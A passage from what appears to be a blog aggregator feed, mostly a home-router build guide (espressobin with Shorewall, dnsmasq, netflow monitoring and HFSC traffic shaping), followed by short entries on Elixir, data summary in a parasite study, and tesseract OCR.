It'll automatically detect updates to configuration files and help merge them, as well as inline important news for breaking package changes.
&lt;/p&gt;

&lt;p&gt;
In addition, I would suggest setting up &lt;a href="http://etckeeper.branchable.com/"&gt;etckeeper&lt;/a&gt; to track your firewall config (&lt;a href="https://wiki.archlinux.org/index.php/Etckeeper"&gt;the Arch wiki has a good introduction&lt;/a&gt;).
I set mine up to automatically push to a privately hosted &lt;a href="http://gitolite.com/gitolite/"&gt;gitolite&lt;/a&gt; repo.
To be completely honest, I dislike every config management solution out there, and almost all of our changes are limited to &lt;code&gt;/etc&lt;/code&gt;, so this is good enough backup solution for me at least.
&lt;/p&gt;

&lt;p&gt;
Note that the default network config for the espressobin works well for the router use case:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Both lan interfaces, &lt;code&gt;lan0&lt;/code&gt; and &lt;code&gt;lan1&lt;/code&gt;, are bridged to the &lt;code&gt;br0&lt;/code&gt; interface. This lets us centralize private-network-facing things like dnsmasq on a single virtual interface.&lt;/li&gt;
&lt;li&gt;The public-facing interface is &lt;code&gt;wan&lt;/code&gt;. It'll fetch its address from the upstream ISP via DHCP.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The only changes necessary to get &lt;code&gt;br0&lt;/code&gt; and &lt;code&gt;wan&lt;/code&gt; setup for our router are two additions: first, assigning the LAN interface a static IP since it'll be the router, and enabling IP forwarding and IP masquerading in &lt;code&gt;/etc/systemd/network/br0.network&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Systemd&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-systemd"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-type"&gt;[Network]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;Address&lt;/span&gt;=192.168.1.1/24&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;IPForward&lt;/span&gt;=ipv4&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;IPMasquerade&lt;/span&gt;=&lt;span class="org-constant"&gt;yes&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
And confirm that the WAN-facing interface will request an address from the ISP in &lt;code&gt;/etc/systemd/network/wan.network&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Systemd&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-systemd"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-type"&gt;[Network]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;DHCP&lt;/span&gt;=&lt;span class="org-constant"&gt;yes&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;IPForward&lt;/span&gt;=ipv4&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-type"&gt;[DHCP]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;UseDNS&lt;/span&gt;=&lt;span class="org-constant"&gt;no&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
I set &lt;code&gt;UseDNS=no&lt;/code&gt; here since I prefer to use OpenNIC servers instead of my upstream ISP's - I'll mention where to set these later.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-firewall"&gt;
&lt;h5 id="firewall"&gt;Firewall&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-firewall"&gt;
&lt;p&gt;
The Arch Linux ARM aarch64 repositories have got the latest version of Shorewall, which is what I used.
My configs aren't that fancy, and if you're seriously considering deploying Shorewall with a connection to the wild internet, I &lt;i&gt;highly&lt;/i&gt; recommend reading the entirety of &lt;a href="http://shorewall.org/two-interface.htm"&gt;Shorewall's introduction to a two-interface firewall&lt;/a&gt;.
It covers the basics of how you should set things up with a nice summary of routing and firewalling in general.
&lt;/p&gt;

&lt;p&gt;
Basically, you'll put the &lt;code&gt;br0&lt;/code&gt; and &lt;code&gt;wan&lt;/code&gt; interface into the right zones and set any necessary rules in &lt;code&gt;/etc/shorewall/rules&lt;/code&gt;.
Remember to let hosts on your LAN use your DNS server:
&lt;/p&gt;

&lt;pre class="example"&gt;
DNS(ACCEPT) loc $FW
&lt;/pre&gt;

&lt;p&gt;
You'll confirm that DHCP is permitted on the LAN interface in the &lt;code&gt;interfaces&lt;/code&gt; file.
&lt;/p&gt;

&lt;p&gt;
I'd note here that I hit a bug with Shorewall during my firewall setup that I found to be patched literally the day before - and Arch Linux ARM had the updated package in the upstream repositories already.
Score one point for using up-to-date distros.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-dhcp"&gt;
&lt;h5 id="dhcp"&gt;DHCP&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-dhcp"&gt;
&lt;p&gt;
&lt;code&gt;dnsmasq&lt;/code&gt; is the perfect fit for a home router.
It bundles together a DNS and DHCP server into a lightweight daemon that handles everything you'd need from a small network, and it's mature enough that there's plenty of documentation using it for that exact use case.
&lt;/p&gt;

&lt;p class="note"&gt;
&lt;b&gt;Note&lt;/b&gt;: I attempted to use systemd's built-in DHCP server that you can set with &lt;code&gt;DHCPServer=&lt;/code&gt; in &lt;code&gt;.network&lt;/code&gt; files, since it seemed like a lightweight way to run a DHCP server without extra software.
Without being too verbose, it's not worth it, one significant reason being there's no way to find current address leases.
&lt;/p&gt;

&lt;p&gt;
There are lots of options that should be set here, but the most important are:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Conf[Unix]&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment-delimiter"&gt;Font used to highlight comment delimiters.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-conf"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;Listen for requests on this interface&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-variable-name"&gt;interface&lt;/span&gt;=br0&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;Address range to draw from&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-variable-name"&gt;dhcp-range&lt;/span&gt;=192.168.1.5,192.168.1.250,255.255.255.0,24h&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;Default route for clients (the address we used in /etc/systemd/network/br0.network)&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-variable-name"&gt;dhcp-option&lt;/span&gt;=option:router,192.168.1.1&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;Instead of doling out DNS servers from your upstream ISP who may do dumb&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;things for things like unresolvable names, you can rely on other DNS servers.&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;These are from OpenNIC.&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-variable-name"&gt;server&lt;/span&gt;=192.52.166.110&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;server&lt;/span&gt;=66.70.211.246&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;server&lt;/span&gt;=69.195.152.204&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;server&lt;/span&gt;=158.69.239.167&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
If you need static assignments or aliases, those are easy to add as well.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-four-interlude"&gt;
&lt;h4 id="part-four-interlude"&gt;Part Four: Interlude&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-four-interlude"&gt;
&lt;p&gt;
With the espressobin serving DHCP and DNS requests on &lt;code&gt;br0&lt;/code&gt;, firewalling via Shorewall, and routing packets between the LAN and WAN, it's a functioning router.
At this point, connecting the WAN port to the ISP upstream and the two &lt;code class="src src-conf"&gt;lan0&lt;/code&gt;/&lt;code class="src src-conf"&gt;lan1&lt;/code&gt; ports to devices or another switch is all that's necessary.
&lt;/p&gt;

&lt;p&gt;
However, that's just a start.
If we &lt;i&gt;really&lt;/i&gt; want to consider this a router replacement, there's some genuinely cool things we can do to further beef up its capabilities so it doesn't feel like a downgrade from something like my old Asus N66U.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-five-upgrades"&gt;
&lt;h4 id="part-five-upgrades"&gt;Part Five: Upgrades&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-five-upgrades"&gt;
&lt;p&gt;
I bolted on the following features to my vanilla espressobin router, which I'll each cover in turn:
&lt;/p&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;Netflow monitoring&lt;/li&gt;
&lt;li&gt;Traffic shaping&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-netflow-monitoring"&gt;
&lt;h5 id="netflow-monitoring"&gt;Netflow Monitoring&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-netflow-monitoring"&gt;
&lt;p&gt;
Traffic visibility is something that I found really valuable with my Asus Merlin firmware to track usage.
Netflow is the de facto standard for this sort of thing, and among all the available options, I really like &lt;a href="https://github.com/aabc/ipt-netflow"&gt;ipt-netflow&lt;/a&gt; because it's a native kernel module so there's very little overhead and is very actively maintained.
&lt;/p&gt;

&lt;p&gt;
It turns out that I'm probably the first person to use it on the aarch64 architecture, because &lt;a href="https://github.com/aabc/ipt-netflow/issues/85"&gt;I got some help to get it supported on aarch64&lt;/a&gt; chipset.
The project's maintainer was (and has been) &lt;i&gt;super&lt;/i&gt; responsive to bugfixes, so I haven't had any problems ensuring the module is supported on the latest kernels that the Arch Linux ARM project runs on.
&lt;/p&gt;

&lt;p&gt;
Using it is a matter of installing the &lt;code&gt;ipt-netflow-dkms-git&lt;/code&gt; package from the AUR.
It'll build for your kernel because dkms is awesome, and I dropped the following into &lt;code&gt;/etc/modules-load.d/ipt-netflow.conf&lt;/code&gt;
&lt;/p&gt;

&lt;pre class="example"&gt;
ipt_NETFLOW
&lt;/pre&gt;

&lt;p&gt;
That'll load it, and you configure it in &lt;code&gt;/etc/modprobe.d/ipt-netflow.conf&lt;/code&gt;:
&lt;/p&gt;

&lt;pre class="example"&gt;
options ipt_NETFLOW destination=$ip:2055 protocol=5
&lt;/pre&gt;

&lt;p&gt;
Where &lt;code&gt;$ip&lt;/code&gt; is your netflow destination.
Finally, traffic gets captured by flowing into a special iptables target, which can be done directly from shorewall, conveniently.
In &lt;code&gt;/etc/shorewall/start&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;bash&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-bash"&gt;&lt;code&gt;&lt;code&gt;run_iptables -I INPUT -j NETFLOW&lt;/code&gt;
&lt;code&gt;run_iptables -I FORWARD -j NETFLOW&lt;/code&gt;
&lt;code&gt;run_iptables -I OUTPUT -j NETFLOW&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;return&lt;/span&gt; 0&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This directs all packets on the router to first enter the &lt;code&gt;NETFLOW&lt;/code&gt; target before anything else, which processes the packets and passes them back to flow through the normal rules that Shorewall sets up.
&lt;/p&gt;

&lt;p&gt;
Of course, &lt;code&gt;ipt-netflow&lt;/code&gt; needs a place to send netflow logs &lt;i&gt;to&lt;/i&gt;, but that's outside the scope of this post.
In my case, I've got a Logstash instance running on my network with &lt;a href="https://www.elastic.co/guide/en/logstash/current/netflow-module.html"&gt;the &lt;code&gt;netflow&lt;/code&gt; module&lt;/a&gt; running and aggregating events in an Elasticsearch cluster.
This gets me some convenient dashboards and the ability to visualize a wide variety of information about my network.
There's some default dashboards:
&lt;/p&gt;


&lt;div class="figure" id="orgf8e372c"&gt;
&lt;p&gt;&lt;img alt="netflow_overview.png" class="mainline" src="../assets/images/netflow_overview.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 2: &lt;/span&gt;Logstash Netflow Overview Dashboard&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Including some pretty cool ones, like a Geo-IP dashboard:
&lt;/p&gt;


&lt;div class="figure" id="orgfe9dfb2"&gt;
&lt;p&gt;&lt;img alt="netflow_geoip.png" class="mainline" src="../assets/images/netflow_geoip.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 3: &lt;/span&gt;Logstash Netflow Geo IP Dashboard&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
However, the most relevant metric &lt;i&gt;I'm&lt;/i&gt; interested in is my total bandwidth usage because I've got an antediluvian ISP that cares about data caps.
Fortunately that's easy with the netflow data I'm collecting: we can just ask Elasticsearch to sum some fields and get those metrics easily.
The following dashboard has two visualizations:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The gauge compares the sum over the time period in question against the cap my ISP has set for me, so I can easily see where my current usage lies against the cap.&lt;/li&gt;
&lt;li&gt;The timeseries plots bandwidth in bytes over time in order to see when I'm using that bandwidth.&lt;/li&gt;
&lt;/ul&gt;


&lt;div class="figure" id="orgeef9f65"&gt;
&lt;p&gt;&lt;img alt="netflow_bandwidth.png" class="mainline" src="../assets/images/netflow_bandwidth.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 4: &lt;/span&gt;Custom Netflow Bandwidth Usage Dashboard&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Something &lt;i&gt;particularly&lt;/i&gt; cool about this setup is that, because we're storing the netflow metrics in Elasticsearch instead of some other datastore or time series database, I can actually focus the queries for these dashboards in order to do things like only sum total bytes for certain CIDR ranges because the underlying storage engine (Lucene) understands IP addresses natively.
For example, the following query in Kibana:
&lt;/p&gt;

&lt;pre class="example"&gt;
NOT (netflow.dst_addr:"192.168.1.0/24" AND netflow.src_addr:"192.168.1.0/24")
&lt;/pre&gt;

&lt;p&gt;
Will effectively filter out potentially big hunks of bandwidth that happen between hosts on my LAN, such as streaming between my Kodi host and NAS machine.
Cool.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-traffic-shaping"&gt;
&lt;h5 id="traffic-shaping"&gt;Traffic Shaping&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-traffic-shaping"&gt;
&lt;p&gt;
This turned into a pretty massive undertaking that was a fascinating rabbit hole to disappear into.
Some stock and most custom router firmwares offer some form of QoS or traffic shaping, so I was hoping to do the same on my custom router in order to protect some of my traffic (like Overwatch) from high latencies.
&lt;/p&gt;

&lt;p&gt;
The world of QoS technology is a fascinating place.
While you could rely on some simple schemes like an HTB (hierarchical token bucket) filter, advancements in packet filtering are surprisingly active and there are lots of interesting approaches.
&lt;/p&gt;

&lt;p&gt;
What I eventually settled on was an &lt;a href="https://en.wikipedia.org/wiki/Hierarchical_fair-service_curve"&gt;HFSC&lt;/a&gt; (hierarchical fair-service curve) filter.
I'll be honest: the math behind it is so out of my league that I had to read several summaries attempting to break it down for normal people, and the best explanation that made sense to me was &lt;a href="https://gist.github.com/eqhmcow/939373"&gt;an excellent gist that I stumbled across from GitHub user eqhmcow&lt;/a&gt; that explains the benefits and use of HFSC in practice.
&lt;/p&gt;

&lt;p&gt;
The tl;dr is this: with an HFSC traffic control class, you can very effectively prioritize traffic and achieve a good balance between streams that require high bandwidth and low latencies.
It's not a magic bullet &amp;ndash; you'll still need to mark what types of traffic are latency-sensitive &amp;ndash; but it has worked pretty well for me.
Without the rules in place, a Steam or Blizzard Launcher download will kill ping times, while active HFSC rules will gracefully trim those heavy portions of traffic to ensure interactive streams aren't impacted.
It's really great!
&lt;/p&gt;

&lt;p&gt;
The aforementioned gist does a good job of laying out how to set up your &lt;code&gt;tc&lt;/code&gt; classes from scratch.
However, Shorewall can actually handle classful traffic control natively, so we can set up powerful QoS rules pretty easily.
The following config files are based upon my measured bandwidth speeds, which are about 230 down and 10 up.
&lt;/p&gt;

&lt;p&gt;
The first step is to set the relevant &lt;code&gt;tc&lt;/code&gt; classes for each device in the &lt;code&gt;tcdevices&lt;/code&gt; file:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;cat /etc/shorewall/tcdevices&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="orgf3bb2f6"&gt;
&lt;code&gt;#INTERFACE      97%_down        90%_up          options(set hfsc)&lt;/code&gt;
&lt;code&gt;wan             224mbit:200kb   9mbit           hfsc&lt;/code&gt;
&lt;code&gt;br0             1000mbit:200kb  1000mbit        hfsc&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Here the LAN-facing &lt;code&gt;br0&lt;/code&gt; interface gets full gigabit, but the WAN interface &lt;code&gt;wan&lt;/code&gt; gets 97% of its down speed and 90% of my available up speed.
The reasoning for these numbers is &lt;a href="https://gist.github.com/eqhmcow/939373"&gt;explained in the gist&lt;/a&gt; - we're essentially recreating this ruleset in Shorewall terms.
&lt;/p&gt;

&lt;p&gt;
Next, define how packet marks will map to &lt;code&gt;tc&lt;/code&gt; classes in the &lt;code&gt;tcclasses&lt;/code&gt; file:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;cat /etc/shorewall/tcclasses&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="orgb5128bc"&gt;
&lt;code&gt;#INTERFACE      MARK    RATE                    CEIL            PRIO    OPTIONS&lt;/code&gt;
&lt;code&gt;wan:10          1       full/2:10ms:1540        full            1       tcp-ack&lt;/code&gt;
&lt;code&gt;wan:11          3       full/2:10ms:1540        full/2          2       default&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;br0:20          2       full*9/10:10ms:1540     full*9/10       1       tcp-ack&lt;/code&gt;
&lt;code&gt;br0:21          3       115mbit:10ms:1540       224mbit         2       default&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This'll drop important/interactive traffic into classes that get higher priority.
Of course, we also need to mark the packets that should get that higher priority, which is done in &lt;code&gt;mangle&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;cat /etc/shorewall/mangle&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="org5f27663"&gt;
&lt;code&gt;# ICMP ping&lt;/code&gt;
&lt;code&gt;MARK(1-2)       0.0.0.0/0       0.0.0.0/0       icmp    echo-request&lt;/code&gt;
&lt;code&gt;MARK(1-2)       0.0.0.0/0       0.0.0.0/0       icmp    echo-reply&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;# ssh&lt;/code&gt;
&lt;code&gt;MARK(1-2)       0.0.0.0/0       0.0.0.0/0       tcp     ssh&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;# Overwatch, Hearthstone, Diablo. 3478-3497 are very general RTP ports.&lt;/code&gt;
&lt;code&gt;MARK(1-2)       0.0.0.0/0       0.0.0.0/0       tcp,udp bnetgame,blizwow,6113&lt;/code&gt;
&lt;code&gt;MARK(1-2)       0.0.0.0/0       0.0.0.0/0       udp     3478-3497,5060,5062,6120,6250,12000-64000&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;# Local traffic&lt;/code&gt;
&lt;code&gt;MARK(1-2)       192.168.1.0/24  192.168.1.0/24&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This sets the high-priority marks (1 and 2) that get handled by our &lt;code&gt;tc&lt;/code&gt; class.
The example includes ICMP pings, ssh, some Blizzard games, and local traffic.
&lt;/p&gt;

&lt;p&gt;
Reloading shorewall should put these into effect.
The end result should permit bulk traffic such as downloads or streams while not adversely affecting interactive traffic latency like ssh, in-game ping times, and so on.
My informal tests have confirmed this - note that if you decide to verify this yourself, you may observe latency spikes immediately following an initial burst of bulk traffic, but HFSC steps in quickly to enforce limits to keep latencies low for interactive traffic.
&lt;/p&gt;

&lt;p&gt;
I have a couple sets of benchmarks that show HFSC in action, but here's a tiny example: how ping latency are impacted when iperf is run in the background.
&lt;/p&gt;


&lt;div class="figure" id="org172e6c3"&gt;
&lt;p&gt;&lt;img alt="ping_latencies.svg" class="mainline opaque" src="../assets/images/ping_latencies.svg" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 5: &lt;/span&gt;Latency impact with and without HFSC&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
As you can see, without any traffic control rules in place, bursts of bulk traffic can have pretty negative impacts on interactive traffic sensitive to high latencies.
With HFSC, we can avoid those problems.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-conclusion"&gt;
&lt;h4 id="conclusion"&gt;Conclusion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-conclusion"&gt;
&lt;p&gt;
I've been using my home-brew router for several months now and it seems to work great.
I haven't experienced any mysterious connection drops, speed issues, or hardware problems over the entire period of continuous operation, so I'd consider the build a success.
Upgrades are fine as well; after a normal &lt;code&gt;sudo pacmatic -Syu&lt;/code&gt; and reboot the system comes back online with all the iptables rules and other services as expected, so keeping up with the latest kernels and other packages is straightforward.
&lt;/p&gt;

&lt;p&gt;
To summarize:
&lt;/p&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;For an operations-savvy or technically-minded person, a custom router build is very doable. ARM single board computers make it cheap and convenient to get started.&lt;/li&gt;
&lt;li&gt;OSS solutions for firewalling, traffic shaping, and network monitoring are mature and easy to work with. In particular, finely-aged solutions like Shorewall and dnsmasq are &lt;i&gt;very&lt;/i&gt; well-documented and have many years of work put into their documentation and feature set.&lt;/li&gt;
&lt;li&gt;While routing + DNS + DHCP is a slam dunk, OSS WiFi can be hit or miss. Your mileage may vary, but my espressobin just isn't a good access point.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
This post is already too long, so I'll close here.
If you have comments or questions, please do leave one via the Discourse thread attached to the bottom of this post.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Mon, 09 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/building-my-perfect-router/</guid></item><item><title>Learn Elixir by Creating a Command Line Application</title><link>https://jorin.me/learn-elixir-by-creating-a-command-line-application/</link><description>I'd like to share my experience of getting started with Elixir by writing a simple command line application and introduce the setup for basic Elixir projects.</description><author>jorin.me</author><pubDate>Mon, 09 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://jorin.me/learn-elixir-by-creating-a-command-line-application/</guid></item><item><title>Data summary</title><link>https://www.ashish.zip/2018/04/data-summary.html</link><description>&lt;div style="text-align: left;"&gt;
Data analysis is a huge topic but any data analysis should begin with simple data summary. It is so easy to overlook this step especially when you are dealing with the data is presented in an overly complicated way.&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
Recently, I was handed longitudinal data collected at a two-time point with 2 years interval between them. The data had about 20 columns including the socio-economic factors, parasite burden and growth indicators which were normalized to z-scores.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
Now, since it was longitudinal data, the attention quickly diverted on how to model the impact of parasites on the growth parameters. Various models including fixed level, random effects, and GEE models were investigated on whether or not they can be used for this kind of data. This took so many hours of research on the web regarding similar data analysis. Eventually, we found that GEE was the appropriate analysis for this kind of analysis (&lt;a href="https://stats.stackexchange.com/questions/16390/when-to-use-generalized-estimating-equations-vs-mixed-effects-models"&gt;https://stats.stackexchange.com/questions/16390/when-to-use-generalized-estimating-equations-vs-mixed-effects-models&lt;/a&gt;). The key word here is that we were interested in "marginal" effect and not conditional effect. We went ahead with the GEE and found the significance for few of the parasites on the growth parameters as the outcome. This looked all good and obvious.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
However, since the parasite burden had highly skewed distribution, we decided to transform it. It was not absolutely&amp;nbsp;necessary for us to go forward with transformation&amp;nbsp;with this analysis.&amp;nbsp; We went for the transformation anyway. Using rcompanion&amp;nbsp;package and transformtukey function, we found that some values were not transforming at all. Remaining values seems to be "normally" transformed. It turns out that most values were "zeroes". These zero values were not missing or an anomaly in the measurement. These were all genuine zeroes since most of the subjects did not have&amp;nbsp;any parasites.&amp;nbsp; In fact, about 90-95% of cases had no parasites and here we are trying to find their impact on the growth of these subjects.&lt;br /&gt;
&lt;br /&gt;
This was missed in the beginning&amp;nbsp;because we were overly focused on the longitudinal part.&amp;nbsp; If we had gone along doing simple data summary, we would have caught&amp;nbsp;it a lot earlier. Lesson learned.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
Now we know the problem, how to deal with this? Do we model them separately which would leave us with only 5% of the cases for the parasite group or do we lump them with the same group? This definitely impacted the statistics of parasite impact.&amp;nbsp; This lead to another marathon of research on whether on or not to conduct the analysis using GEE with all the data or analyze them separately. No answers have&amp;nbsp;been found yet.&amp;nbsp; Possible solution include mixture models, mixed level modeling but we have not implemented any of those yet.&amp;nbsp; I may update this post when we find out conclusively.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Thoughts and ideas</author><pubDate>Mon, 09 Apr 2018 07:09:41 GMT</pubDate><guid isPermaLink="true">https://www.ashish.zip/2018/04/data-summary.html</guid></item><item><title>Trying out tesseract</title><link>https://xenodium.com/trying-out-tesseract</link><description>&lt;p&gt;As part of going paperless, looking into OCR. Trying out tesseract.&lt;/p&gt;
&lt;p&gt;Install&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew install gs
$ brew install imagemagick
$ brew install tesseract
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ convert -density 300 -depth 8 receipt.pdf receipt.png
$ tesseract receipt.png receipt.png.txt
